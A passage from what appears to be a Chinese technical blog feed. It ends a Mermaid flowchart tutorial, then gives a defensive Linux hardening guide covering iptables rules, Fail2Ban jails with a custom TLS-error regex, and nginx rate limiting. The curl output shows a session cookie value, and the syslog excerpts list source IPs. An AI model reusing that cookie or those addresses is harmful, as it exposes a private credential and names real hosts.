语法</th><th>描述</th></tr></thead><tbody><tr><td>矩形</td><td><code>A[矩形]</code></td><td>标准的处理步骤</td></tr><tr><td>圆角矩形</td><td><code>B(圆角矩形)</code></td><td>过程（例如子过程）</td></tr><tr><td>菱形</td><td><code>C&#123;菱形&#125;</code></td><td>决策/分支</td></tr><tr><td>圆形</td><td><code>D((圆形))</code></td><td>起点或终点</td></tr><tr><td>六边形</td><td><code>E&#123;&#123;六边形&#125;&#125;</code></td><td>预定义的过程</td></tr><tr><td>平行四边形</td><td><code>F[/平行四边形/]</code></td><td>输入或输出</td></tr><tr><td>圆柱体</td><td><code>G[(圆柱体)]</code></td><td>数据存储或文件</td></tr><tr><td>尖角方框</td><td><code>H&gt;尖角方框]</code></td><td>决策点，类似菱形</td></tr></tbody></table><h3 id="箭头类型">箭头类型</h3><table><thead><tr><th>语法</th><th>效果</th><th>说明</th></tr></thead><tbody><tr><td><code>A --&gt; B</code></td><td>单向箭头</td><td>用于单向连接。</td></tr><tr><td><code>A --- B</code></td><td>更长的箭头</td><td>表示松散关系或注释连接。</td></tr><tr><td><code>A -.-&gt; B</code></td><td>点线箭头</td><td>表示非直接关系。</td></tr><tr><td><code>A ==&gt; B</code></td><td>粗箭头</td><td>强调某种重要连接。</td></tr><tr><td><code>A --o B</code></td><td>空心箭头</td><td>表示连接的方向。</td></tr><tr><td><code>A --x B</code></td><td>叉箭头</td><td>表示连接的终止。</td></tr></tbody></table><p>此外如果需要在箭头上添加文字，可以使用 <code>A --&gt;|文本| B</code> 的方式。<br>如果要区分不同的层级，可以增加 <code>-</code> 的数量，例如 <code>A ---|文本| B</code>。<br>条件分支可以使用 <code>A --&gt;|条件| B</code> 的方式，其中条件可以是任意文本。</p><h3 id="子图">子图</h3><p>可以将图表中的部分节点划分为子图，表示不同的模块或区域。语法如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">subgraph 子图名称</span><br><span class="line">  节点定义</span><br><span class="line">end</span><br></pre></td></tr></table></figure><h3 id="样式">样式</h3><p>可以用CSS语法来定义样式，但是个人感觉一般没必要弄那么复杂，展示清楚，或者增加必要的颜色区分就可以了。详细用法多看文档。</p><pre><code class="highlight mermaid">flowchart LR  style A fill:#f9f,stroke:#333,stroke-width:4px  style B fill:#bbf,stroke:#000,stroke-width:2px    A[A矩形]    B(B圆角矩形)    C&#123;C菱形&#125;    D((D圆形))    E&#123;&#123;E六边形&#125;&#125;    F[/平行四边形/]    G[(G圆柱体)]    H&gt;尖角方框]    A --&gt; B    B -.-&gt; C    C ---&gt; |是| D    C --&gt; |否| E    E ==&gt; F    A --o F    A--x G    G&lt;--&gt;H    subgraph 子图        B        C        D    end</code></pre><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">flowchart LR</span><br><span class="line">  style A fill:#f9f,stroke:#333,stroke-width:4px</span><br><span class="line">  style B fill:#bbf,stroke:#000,stroke-width:2px</span><br><span class="line">    A[A矩形]</span><br><span class="line">    B(B圆角矩形)</span><br><span class="line">    C&#123;C菱形&#125;</span><br><span class="line">    D((D圆形))</span><br><span class="line">    E&#123;&#123;E六边形&#125;&#125;</span><br><span class="line">    F[/平行四边形/]</span><br><span class="line">    G[(G圆柱体)]</span><br><span class="line">    H&gt;尖角方框]</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">    A --&gt; B</span><br><span class="line">    B -.-&gt; C</span><br><span class="line">    C ---&gt; |是| D</span><br><span class="line">    C --&gt; |否| E</span><br><span class="line">    E ==&gt; F</span><br><span class="line">    A --o F</span><br><span class="line">    A--x G</span><br><span class="line">    G&lt;--&gt;H</span><br><span class="line"></span><br><span class="line">    subgraph 子图</span><br><span class="line">        B</span><br><span class="line">        C</span><br><span class="line">        D</span><br><span class="line">    end</span><br></pre></td></tr></table></figure><p>使用 <a href="https://excalidraw.com/">https://excalidraw.com/</a> 渲染</p><p><img src="https://cdn.blog-blockchain.xyz/2025/01/2eff9a38e755999f214c5a96c036591d.png" alt="image-20250111235140070"></p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/dev/fast-draw/</id>
    <link href="https://www.blog-blockchain.xyz/dev/fast-draw/"/>
    <published>2025-01-11T15:19:20.000Z</published>
    <summary>介绍如何使用Mermaid快速绘制专业流程图，包括各种节点类型、箭头连接、子图组织和样式定制，以及在Markdown中的渲染方法，提升文档可视化效果。</summary>
    <title>Mermaid 快速绘制流程图</title>
    <updated>2026-02-19T16:18:31.273Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/categories/developer/"/>
    <category term="developer" scheme="https://www.blog-blockchain.xyz/tags/developer/"/>
    <content>
      <![CDATA[<h2 id="前言">前言</h2><p>我的服务器2次被攻击，一次是我端口映射到windows的远程桌面，但是居然被人在不停的爆破。第二次是我的后台管理页面，经历了 ACK Flood，让我甚至不能正常的ssh连接上服务器。于是我学习了linux怎么去配置防火墙，如何自动去拉黑IP。但是这个工作太过于繁琐，防火墙的配置非常复杂，线性的匹配各个规则，互相耦合。而且针对每个端口不同的用途，需要不同的防火墙设置。fail2ban的配置也比较复杂，尽管我之前熟悉linux的日志管理，但是每个应用的日志在不同的地方，还是带来了很多的麻烦。</p><p>我这才意识到，原来nginx是非常伟大的项目，只通过80和443端口，反向代理其他的本地端口，极大的减少了攻击面。而且速率控制等高级功能，可以在nginx上配置，不用繁琐的去配置各个端口的防火墙，我只要简单配置这两个端口的防火墙即可。Nginx 提供了一种<strong>单入口、多服务分发</strong>的方案，解决了下面的核心问题：</p><ul><li><strong>安全风险</strong>：暴露的端口越多，越容易成为攻击目标（如 DDoS、Flood）。</li><li><strong>配置复杂</strong>：每个端口都需要单独配置防火墙规则、限速、日志记录等。</li><li><strong>管理成本高</strong>：难以对所有端口进行统一监控和审计。</li></ul><p>另外原生的 iptables 配置起来也很麻烦，建议使用 UFW（Uncomplicated Firewall）或者其他有图形界面的防火墙。</p><p><strong>核心思想：减小攻击面是最重要的做法</strong>。一台云服务器，开放的端口会包括基于HTTP的web（包括内容分发和后台管理），SSH 控制端口，以及一些通信的TCP和UDP端口。</p><p>原则1：<strong>如果不提供公网服务，只是个人使用，那么只考虑SSH隧道和组网</strong>。</p><p>所有的管理后台，都不应该暴露在公网，而应该用隧道访问，或者组虚拟局域网网。但是SSH隧道的性能不如wireguard，而且需要在terminal中配置端口转发，我还是建议虚拟组网的方式。</p><p>原则2：<strong>使用nginx代理web，并且设置cloudflare WAF。TCP 和UDP服务，可以通过 Nginx Stream 模块处理</strong>。</p><p>简单的说安全策略应该做好：</p><ol><li>能用私钥文件就不要用口令，比如ssh。口令用随机口令，不要自己手动设置常用密码。</li><li>非公网服务就不应该允许外部访问，比如管理端口等。</li><li>登陆要加入双重验证以及字典爆破的保护。</li></ol><p>组网+Nginx代理+端口敲门（可选）。</p><h2 id="端口和流量管理">端口和流量管理</h2><h3 id="防火墙原理">防火墙原理</h3><p>iptables 是基于 Linux 内核的防火墙工具，其工作原理是通过内核中的 <strong>Netfilter 框架</strong>来处理和管理网络流量。iptables 的规则按照 <strong>匹配优先级</strong> 和 <strong>操作链</strong> 的逻辑工作。</p><p><strong>包匹配的基本流程</strong></p><ol><li><strong>数据包进入 Netfilter</strong>:<ul><li>数据包从网卡或其他网络接口接收后，会进入 Netfilter 进行处理。</li><li>数据包按 <strong>网络栈的不同阶段</strong> 进入不同的 iptables 链。</li></ul></li><li><strong>匹配规则的顺序</strong>:<ul><li><strong>链内规则按顺序执行</strong>，从上到下逐条匹配，直到命中一条规则。</li><li>如果没有匹配到规则，则执行链的默认策略（如 ACCEPT 或 DROP）。</li></ul></li><li><strong>动作类型</strong>:<ul><li>如果数据包匹配规则，iptables 可执行以下操作：<ul><li><strong>ACCEPT</strong>: 允许数据包通过。</li><li><strong>DROP</strong>: 丢弃数据包，不做任何回应。</li><li><strong>REJECT</strong>: 丢弃数据包，并向源发送一个 ICMP 错误消息。</li><li><strong>LOG</strong>: 记录日志，但继续匹配后续规则。</li></ul></li></ul></li></ol><h3 id="设置防火墙">设置防火墙</h3><p><strong>安装和配置 iptables</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt install iptables iptables-persistent xtables-addons-common -y</span><br><span class="line"><span class="built_in">sudo</span> update-alternatives --<span class="built_in">set</span> iptables /usr/sbin/iptables-legacy</span><br><span class="line"><span class="built_in">sudo</span> systemctl start netfilter-persistent</span><br><span class="line"><span class="built_in">sudo</span> systemctl <span class="built_in">enable</span> netfilter-persistent</span><br></pre></td></tr></table></figure><p>iptables-persistent: 保存和恢复防火墙规则。<br>xtables-addons-common: 提供扩展模块支持，如 PSD（Port Scan Detection）。<br><strong>查看和清空现有规则</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> iptables -L -n -v</span><br><span class="line"><span class="built_in">sudo</span> iptables -F</span><br></pre></td></tr></table></figure><p>iptables -L -n -v: 查看当前防火墙规则。<br>iptables -F: 清空所有规则，确保配置从干净状态开始</p><p><strong>防火墙默认策略</strong></p><p>设置默认策略为丢弃所有流量，只允许规则显式放行的流量。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> iptables -P INPUT DROP</span><br><span class="line"><span class="built_in">sudo</span> iptables -P FORWARD DROP</span><br><span class="line"><span class="built_in">sudo</span> iptables -P OUTPUT ACCEPT</span><br></pre></td></tr></table></figure><p><strong>拒绝无效连接</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> iptables -A INPUT -m conntrack --ctstate INVALID -j LOG --log-prefix <span class="string">&quot;INVALID-CONN: &quot;</span> --log-level 4</span><br><span class="line"><span class="built_in">sudo</span> iptables -A INPUT -m conntrack --ctstate INVALID -j DROP</span><br></pre></td></tr></table></figure><p>检测无效连接并记录日志，同时丢弃数据包。防止 ACK Flood 和异常数据包。</p><p><strong>限制 Ping（ICMP 类型 8）</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> iptables -A INPUT -p icmp --icmp-type echo-request -j DROP</span><br></pre></td></tr></table></figure><p>禁止 ping 请求，防止 Ping Flood 攻击。</p><p><strong>限制单 IP 的并发连接数</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> iptables -A INPUT -p tcp -m connlimit --connlimit-above 100 -j LOG --log-prefix <span class="string">&quot;CONNLIMIT-EXCEEDED: &quot;</span></span><br><span class="line"><span class="built_in">sudo</span> iptables -A INPUT -p tcp -m connlimit --connlimit-above 100 -j DROP</span><br></pre></td></tr></table></figure><p>限制单个 IP 的并发连接数，记录超限日志。 防止单 IP 恶意占用服务器资源。</p><p><strong>限制SSH端口请求数</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> iptables -A INPUT -p tcp --dport SSH端口 --syn -m conntrack --ctstate NEW -m <span class="built_in">limit</span> --<span class="built_in">limit</span> 10/s --limit-burst 20 -j ACCEPT</span><br><span class="line"><span class="built_in">sudo</span> iptables -A INPUT -p tcp --dport SSH端口 --syn -j LOG --log-prefix <span class="string">&quot;PORT-SSH端口: &quot;</span></span><br><span class="line"><span class="built_in">sudo</span> iptables -A INPUT -p tcp --dport SSH端口 --syn -j DROP</span><br></pre></td></tr></table></figure><p>限制端口 SSH端口 每秒新连接请求的数量。超限时记录日志并丢弃。</p><p><strong>限制特定端口速率</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> iptables -A INPUT -p tcp --dport 网站端口 --syn -m <span class="built_in">limit</span> --<span class="built_in">limit</span> 10/s --limit-burst 20 -j ACCEPT</span><br><span class="line"><span class="built_in">sudo</span> iptables -A INPUT -p tcp --dport 网站端口 --syn -j LOG --log-prefix <span class="string">&quot;PORT-网站端口: &quot;</span></span><br><span class="line"><span class="built_in">sudo</span> iptables -A INPUT -p tcp --dport 网站端口 --syn -j DROP</span><br></pre></td></tr></table></figure><p>限制端口 网站端口 的连接速率，防止暴力破解。</p><p><strong>检测和防御端口扫描</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> modprobe xt_psd</span><br><span class="line"><span class="built_in">sudo</span> iptables -A INPUT -m psd --psd-weight-threshold 21 --psd-hi-ports-weight 3 -j LOG --log-prefix <span class="string">&quot;PORT-SCAN-DETECTED: &quot;</span></span><br><span class="line"><span class="built_in">sudo</span> iptables -A INPUT -m psd --psd-weight-threshold 21 --psd-hi-ports-weight 3 -j DROP</span><br></pre></td></tr></table></figure><p><strong>日志记录所有被丢弃的数据包</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> iptables -A INPUT -m <span class="built_in">limit</span> --<span class="built_in">limit</span> 5/min -j LOG --log-prefix <span class="string">&quot;my-iptables-dropped: &quot;</span> --log-level 4</span><br></pre></td></tr></table></figure><p>限制日志频率，记录被丢弃的异常流量。</p><p><strong>保存防火墙配置</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> netfilter-persistent save</span><br><span class="line"><span class="built_in">sudo</span> netfilter-persistent reload</span><br></pre></td></tr></table></figure><p>save 将规则保存到 /etc/iptables/rules.v4 文件中。</p><p><strong>验证防火墙规则</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> iptables -L -n -v --line-numbers</span><br></pre></td></tr></table></figure><h2 id="拉黑IP">拉黑IP</h2><h3 id="安装和配置">安装和配置</h3><p>Fail2Ban 是一个入侵防御软件，通过监控系统日志来阻止可疑的活动。它的工作原理如下：</p><ul><li>监控系统日志：持续扫描指定的日志文件（如 SSH、Apache 等服务的日志）</li><li>识别攻击模式：根据预设的规则识别可疑行为，比如多次登录失败</li><li>自动封禁：当某个 IP 地址在指定时间内触发规则达到阈值时，自动将其加入防火墙黑名单</li><li>自动解封：被封禁的 IP 在设定的封禁时间后会自动解除限制</li></ul><p>主要配置参数说明：</p><ul><li><strong>enabled</strong>：是否启用该规则（true/false）</li><li><strong>mode</strong>：检测模式，可选 normal（默认）、ddos、extra 或 aggressive</li><li><strong>maxretry</strong>：允许的最大尝试次数，超过后触发封禁</li><li><strong>findtime</strong>：检测时间窗口（秒），在此时间内达到 maxretry 次数则封禁</li><li><strong>bantime</strong>：封禁时长（秒）</li></ul><p>Fail2Ban 通过这种方式可以有效防止暴力破解和 DOS 攻击等恶意行为。它不仅可以保护 SSH 服务，还可以配置保护其他服务，如 Web 服务器、邮件服务器等。</p><p><strong>Fail2Ban 的默认行为是基于</strong> action <strong>配置的规则</strong>，如果设置了端口，那么只是不允许某个IP访问特定的端口，但是可以访问其他端口。</p><p>安装 Fail2Ban</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo apt install fail2ban -y</span><br><span class="line">sudo systemctl start fail2ban</span><br><span class="line">sudo systemctl status fail2ban</span><br></pre></td></tr></table></figure><p>确保已经运行之后，可以查看已经开启的服务。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">➜ ~ sudo fail2ban-client status</span><br><span class="line">Status</span><br><span class="line">|- Number of jail:      1</span><br><span class="line">`- Jail list:   sshd</span><br></pre></td></tr></table></figure><p>详细查看每一类的服务的情况</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">➜  ~ <span class="built_in">sudo</span> fail2ban-client status sshd</span><br><span class="line">Status <span class="keyword">for</span> the jail: sshd</span><br><span class="line">|- Filter</span><br><span class="line">|  |- Currently failed: 0</span><br><span class="line">|  |- Total failed:     0</span><br><span class="line">|  `- File list:</span><br><span class="line">`- Actions</span><br><span class="line">   |- Currently banned: 0</span><br><span class="line">   |- Total banned:     0</span><br><span class="line">   `- Banned IP list:</span><br></pre></td></tr></table></figure><p>配置文件的地址所在 <code>/etc/fail2ban/jail.conf</code> 。<strong>复制默认配置到</strong> jail.local，，Fail2Ban 会优先读取该文件中的配置。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> <span class="built_in">cp</span> /etc/fail2ban/jail.conf /etc/fail2ban/jail.local</span><br></pre></td></tr></table></figure><p>新的配置文件中找到这一部份</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">[sshd]</span><br><span class="line"></span><br><span class="line">## To use more aggressive sshd modes set filter parameter &quot;mode&quot; in jail.local:</span><br><span class="line">## normal (default), ddos, extra or aggressive (combines all).</span><br><span class="line">## See &quot;tests/files/logs/sshd&quot; or &quot;filter.d/sshd.conf&quot; for usage example and details.</span><br><span class="line">##mode   = normal</span><br><span class="line">port    = ssh</span><br><span class="line">logpath = %(sshd_log)s</span><br><span class="line">backend = %(sshd_backend)s</span><br></pre></td></tr></table></figure><p>然后修改成这样，注意端口请修改成自己的。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">[sshd]</span><br><span class="line">enabled = true</span><br><span class="line">mode = ddos</span><br><span class="line">port = ssh</span><br><span class="line">logpath = %(sshd_log)s</span><br><span class="line">backend = %(sshd_backend)s</span><br><span class="line">maxretry = 5</span><br><span class="line">bantime = 3600</span><br><span class="line">findtime = 600</span><br></pre></td></tr></table></figure><p>随后重启服务：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> systemctl restart fail2ban</span><br><span class="line"><span class="built_in">sudo</span> fail2ban-client reload</span><br></pre></td></tr></table></figure><h3 id="测试">测试</h3><p>找一台机器，多次测试</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh -p PORT fakeuser@IP</span><br></pre></td></tr></table></figure><p>然后查看是否已经拉黑这个IP了 <code>sudo fail2ban-client status sshd</code> ，</p><h3 id="自定义">自定义</h3><p>既然 Fail2Ban 是根据日志的，那么就可以根据日志输出，如果出现多条某种日志，就拉黑对应的IP，我们开始来解决利用TLS耗尽资源的案例。下面是我遇到的 TLS 扫描，还有暴力攻击。</p><ul><li>EOF:客户端与服务器建立连接后，直接关闭了连接。可能是恶意工具测试你的服务是否运行 TLS。</li><li>tls: first record does not look like a TLS handshake：客户端发送的数据不符合 TLS 协议。通常是恶意流量（例如 HTTP 请求尝试连接到 HTTPS 端口，或发送随机数据包）。</li></ul><p>这里说明攻击者在进行<strong>TLS 握手探测</strong>，并且还在发送二进制垃圾数据。由于我们过滤掉了无效的数据包，这里就少了很多了。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">var/log/syslog:Dec  1 11:28:29 服务器主机名 x-ui[86955]: 2024/12/01 11:28:29 http: TLS handshake error from 206.168.34.116:43752: EOF</span><br><span class="line">/var/log/syslog:Dec  1 11:28:29 服务器主机名 x-ui[86955]: 2024/12/01 11:28:29 http: TLS handshake error from 162.142.125.206:59192: EOF</span><br><span class="line">/var/log/syslog:Dec  1 12:06:42 服务器主机名 x-ui[88405]: 2024/12/01 12:06:37 http: TLS handshake error from 194.29.186.112:51720: unexpected EOF</span><br><span class="line">/var/log/syslog:Dec  1 12:06:42 服务器主机名 x-ui[88405]: 2024/12/01 12:06:38 http: TLS handshake error from 194.29.186.112:52326: tls: first record does not look like a TLS handshake</span><br><span class="line">/var/log/syslog:Dec  2 00:20:39 服务器主机名 x-ui[819]: 2024/12/02 00:20:39 http: TLS handshake error from 218.250.154.217:12927: <span class="built_in">read</span> tcp IP:网站端口-&gt;218.250.154.217:12927: use of closed network connection</span><br><span class="line">/var/log/syslog:Dec  2 00:21:41 服务器主机名 x-ui[819]: 2024/12/02 00:21:41 http: TLS handshake error from 218.250.154.217:26355: EOF</span><br><span class="line">/var/log/syslog:Dec  2 14:31:27 服务器主机名 x-ui[287150]: 2024/12/02 14:31:27 http: TLS handshake error from 185.147.124.202:63273: tls: first record does not look like a TLS handshake</span><br><span class="line">/var/log/syslog:Dec  2 14:43:21 服务器主机名 x-ui[287307]: 2024/12/02 14:43:21 http: TLS handshake error from 147.45.112.8:65265: tls: first record does not look like a TLS handshake</span><br></pre></td></tr></table></figure><p>在 /etc/fail2ban/filter.d/ 目录下创建名为 x-ui.conf 的文件：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">[Definition]</span><br><span class="line">failregex = ^.*http: TLS handshake error from &lt;HOST&gt;:.*$</span><br><span class="line">ignoreregex =</span><br></pre></td></tr></table></figure><p>这样会过滤得到攻击者的IP。由于服务器只有我自己用，所以错误率其实非常低的。</p><p>编辑 /etc/fail2ban/jail.local ，出现5次同样的IP后拉黑。这里用上了设置好的过滤器。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">[x-ui]</span><br><span class="line">enabled = true</span><br><span class="line">port = 网站端口</span><br><span class="line">filter = x-ui</span><br><span class="line">logpath = /var/log/syslog</span><br><span class="line">maxretry = 5</span><br><span class="line">bantime = 3600</span><br><span class="line">findtime = 600</span><br></pre></td></tr></table></figure><p>最后 <code>fail2ban-client reload</code> ，测试是否成功：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">➜  ~ <span class="built_in">echo</span> <span class="string">&quot;Dec  3 09:44:56 服务器主机名 x-ui[287307]: 2024/12/03 09:44:56 http: TLS handshake error from 165.154.43.179:40674: local error: tls: unexpected message&quot;</span> &gt;&gt; /var/log/syslog</span><br><span class="line">➜  ~ <span class="built_in">sudo</span> fail2ban-client status x-ui</span><br></pre></td></tr></table></figure><h3 id="手动操作">手动操作</h3><p>下面是一些常用的 fail2ban 命令：</p><p><strong>手动封禁 IP：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> fail2ban-client <span class="built_in">set</span> sshd banip 192.168.1.100</span><br></pre></td></tr></table></figure><p><strong>手动解封 IP：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> fail2ban-client <span class="built_in">set</span> sshd unbanip 192.168.1.100</span><br></pre></td></tr></table></figure><p><strong>查看 fail2ban 日志：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> <span class="built_in">tail</span> -f /var/log/fail2ban.<span class="built_in">log</span></span><br></pre></td></tr></table></figure><p><strong>解封所有被封禁的 IP：</strong></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> fail2ban-client unban --all</span><br></pre></td></tr></table></figure><h2 id="使用Nginx代理">使用Nginx代理</h2><p>从安全的角度，直接将服务端口暴露在公网，就增加了攻击面。攻击者可以轻松扫描端口和指纹信息，尝试漏洞攻击。而且一些开发测试的端口，本身缺乏高级访问控制，无法限制来源 IP、速率或特定的访问策略。特别是这样可以隐藏端口了。</p><p>从性能的角度，直接服务需要每次处理完整请求，无法缓存静态内容，增加资源开销。高并发请求可能导致服务线程或进程资源耗尽。</p><p><strong>主配置文件 (/etc/nginx/nginx.conf)</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">http &#123;</span><br><span class="line">    # 定义速率限制和并发限制</span><br><span class="line">    limit_req_zone $binary_remote_addr zone=xui_limit:10m rate=5r/s;</span><br><span class="line">    limit_req_zone $binary_remote_addr zone=panel_limit:10m rate=2r/s;</span><br><span class="line">    limit_conn_zone $binary_remote_addr zone=xui_conn:10m;</span><br><span class="line"></span><br><span class="line">    # 其他 http 配置...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>自行配置<strong>站点配置文件</strong> <code>/etc/nginx/sites-available/proxy-services.conf</code> ，需要链接到 <code>sudo ln -s /etc/nginx/sites-available/proxy-services.conf /etc/nginx/sites-enabled/</code></p><p>确保 Nginx 配置无语法错误：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">➜  ~ sudo nginx -t</span><br><span class="line">nginx: the configuration file /etc/nginx/nginx.conf syntax is ok</span><br><span class="line">nginx: configuration file /etc/nginx/nginx.conf test is successful</span><br></pre></td></tr></table></figure><p>重启服务</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo systemctl restart nginx</span><br></pre></td></tr></table></figure><p>检查端口是否开启</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">sudo netstat -tuln | grep 443</span><br></pre></td></tr></table></figure><p>查看https是否设置成功。200表示请求成功，服务支持 HTTP/2 协议。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">➜  ~ curl -I DOMAIN</span><br><span class="line">HTTP/2 200</span><br><span class="line">server: nginx/1.18.0 (Ubuntu)</span><br><span class="line">date: Mon, 02 Dec 2024 08:06:50 GMT</span><br><span class="line">content-type: text/html</span><br><span class="line">content-length: 20307</span><br><span class="line">cache-control: no-store</span><br><span class="line">content-security-policy: default-src &#x27;self&#x27;; style-src &#x27;self&#x27; &#x27;unsafe-inline&#x27;; img-src &#x27;self&#x27; data:; script-src &#x27;self&#x27; &#x27;unsafe-inline&#x27;; object-src &#x27;none&#x27;; form-action &#x27;self&#x27;; frame-ancestors &#x27;self&#x27;;</span><br><span class="line">referrer-policy: same-origin</span><br><span class="line">set-cookie: SID=iXIj/7ObNpar0pJ4oxD5ZxdcyuLH2xzj; HttpOnly; path=/; SameSite=Strict</span><br><span class="line">x-content-type-options: nosniff</span><br><span class="line">x-frame-options: SAMEORIGIN</span><br><span 